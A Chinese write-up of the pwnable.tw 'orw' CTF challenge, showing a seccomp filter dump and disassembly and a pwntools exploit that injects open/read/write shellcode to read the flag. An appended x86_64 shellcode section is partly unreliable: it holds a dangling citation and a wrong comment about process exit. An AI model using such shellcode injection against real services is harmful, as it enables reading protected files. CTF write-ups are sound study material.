pwnable.tw orw writeup

本文介绍了一种通过分析seccomp白名单并利用特定shellcode绕过限制的技术。作者首先使用IDA Python脚本导出了seccomp过滤器规则,并通过scmp_bpf_disasm进行反汇编解析,明确了被允许的系统调用。随后,使用Keystone Engine编写并注入shellcode,实现了对受限系统的有效操作。

题目

题目比较简单就不复制了,首先seccomp设置了白名单,然后输入0xc8长度shellcode,直接跳到shellcode执行。

分析

既然是练习,就要彻底一点。
首先是seccomp dump的问题,目前采用的方法是IDApython脚本dump数据下来,然后输入scmp_bpf_disasm。IDApython的文档非常诡异,函数没有说明,函数的参数也不能直接看出来,所以搜了很长时间找了一个别人的。。

dump 脚本:

import idaapi

start_address = 0x8048640
data_length = 0x80486a0 - start_address
data = idaapi.get_many_bytes(start_address, data_length)
fp = open('/home/anciety/orw/orw.bpf', 'wb')
print(data)
fp.write(data)
fp.close()
print("done")

dump之后直接重定向至scmp_bpf_disasm就可以看到bpf的反汇编了:

[anciety@anciety-pc orw]$ scmp_bpf_disasm < orw.bpf 
 line  OP   JT   JF   K
=================================
 0000: 0x20 0x00 0x00 0x00000004   ld  $data[4]
 0001: 0x15 0x00 0x09 0x40000003   jeq 1073741827 true:0002 false:0011
 0002: 0x20 0x00 0x00 0x00000000   ld  $data[0]
 0003: 0x15 0x07 0x00 0x000000ad   jeq 173  true:0011 false:0004
 0004: 0x15 0x06 0x00 0x00000077   jeq 119  true:0011 false:0005
 0005: 0x15 0x05 0x00 0x000000fc   jeq 252  true:0011 false:0006
 0006: 0x15 0x04 0x00 0x00000001   jeq 1    true:0011 false:0007
 0007: 0x15 0x03 0x00 0x00000005   jeq 5    true:0011 false:0008
 0008: 0x15 0x02 0x00 0x00000003   jeq 3    true:0011 false:0009
 0009: 0x15 0x01 0x00 0x00000004   jeq 4    true:0011 false:0010
 0010: 0x06 0x00 0x00 0x00050026   ret ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000   ret ALLOW

从这里可以看出来是白名单,以及允许的系统调用(虽然我们其实从题目就可以知道了)。

之后就是写shellcode了,这里使用了keystone-engine,具体看exp就好了。

exp

import sys
from pwn import *
from keystone import *
context(os='linux', arch='i386', log_level='debug')

GDB = 1
if len(sys.argv) > 2:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    p = process("./orw")

def main():
    if GDB:
        raw_input()
    ks = Ks(KS_ARCH_X86, KS_MODE_32)
    shellcode = """
    mov eax, 3
    xor ebx, ebx
    mov ecx, 0x0804a000
    mov edx, 0x10
    int 0x80

    mov eax, 5
    mov ebx, 0x804a000
    xor ecx, ecx
    xor edx, edx
    int 0x80

    mov ebx, eax
    mov eax, 3
    mov ecx, 0x804a000
    mov edx, 0x40
    int 0x80

    mov eax, 4
    mov ebx, 1
    mov ecx, 0x804a000
    mov edx, 0x40
    int 0x80
    """
    try:
        encoding, count = ks.asm(shellcode)
        print('count {}'.format(count))
    except KsError as e:
        print("Error: {}".format(e))
    p.recvuntil('shellcode:')
    p.send(''.join(map(chr, encoding)))

    raw_input()
    p.send('/home/orw/flag\x00')

    p.interactive()

if __name__ == "__main__":
    main()
### PWN ORW Shellcode 示例及解释 ORW(Open, Read, Write)是一种常见的PWN技术,用于通过漏洞执行特定指令来打开文件、读取其内容并将其打印到标准输出。下面是一个典型的Linux环境下的ORW shellcode实现。 #### Linux 下的 ORW Shellcode 实现 为了构建一个有效的ORW shellcode,需要考虑几个方面: - **唯一字节约束**:某些挑战可能要求shellcode中的每一个字节都是唯一的[^2]。 - **目标平台架构**:这里假设为x86_64架构。 - **所需功能**:依次调用`open`, `read`, 和 `write`系统调用来完成文件操作。 以下是适用于上述条件的一个简单示例代码片段: ```assembly section .text global _start _start: ; open("./flag", O_RDONLY) xor rax, rax ; 清零rax寄存器准备存储syscall编号 mov al, 2 ; syscall number for sys_open (2 on x86_64) lea rdi, [rip + filename] ; 加载文件名地址至rdi参数寄存器 xor rsi, rsi ; 设置O_RDONLY标志位 xor rdx, rdx ; 文件权限设置为空 syscall ; 执行sys_open test eax, eax ; 测试返回值是否成功 js error ; 如果失败跳转错误处理程序 ; read(file_descriptor, buffer, size) mov rdi, rax ; 将fd移动到第一个参数位置 mov rsi, rsp ; 使用堆栈顶部作为缓冲区指针 sub rsp, 0x100 ; 预留足够的空间给buffer mov rdx, 0x100 ; 设定要读取的最大字节数 xor rax, rax ; 准备下一个syscall号 mov al, 0 ; syscall number for sys_read (0 on x86_64) syscall ; 调用sys_read add rsp, 0x100 ; 恢复rsp指向原处 ; write(STDOUT_FILENO, buffer, count) mov rax, 1 ; syscall number for sys_write (1 on x86_64) mov rdi, 1 ; stdout file descriptor syscall ; 调用sys_write error: ret ; 结束进程 filename db "./flag" ``` 这段汇编语言编写的小型程序实现了最基本的ORW逻辑,并且遵循了每一步骤所对应的系统调用约定。需要注意的是,在实际环境中应用此方法之前应当充分理解操作系统内核API以及如何正确地利用这些接口。 对于更复杂的场景,则可能会涉及到更多细节上的调整和技术手段的应用,比如绕过各种安全机制或是针对不同版本的操作系统的兼容性问题等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值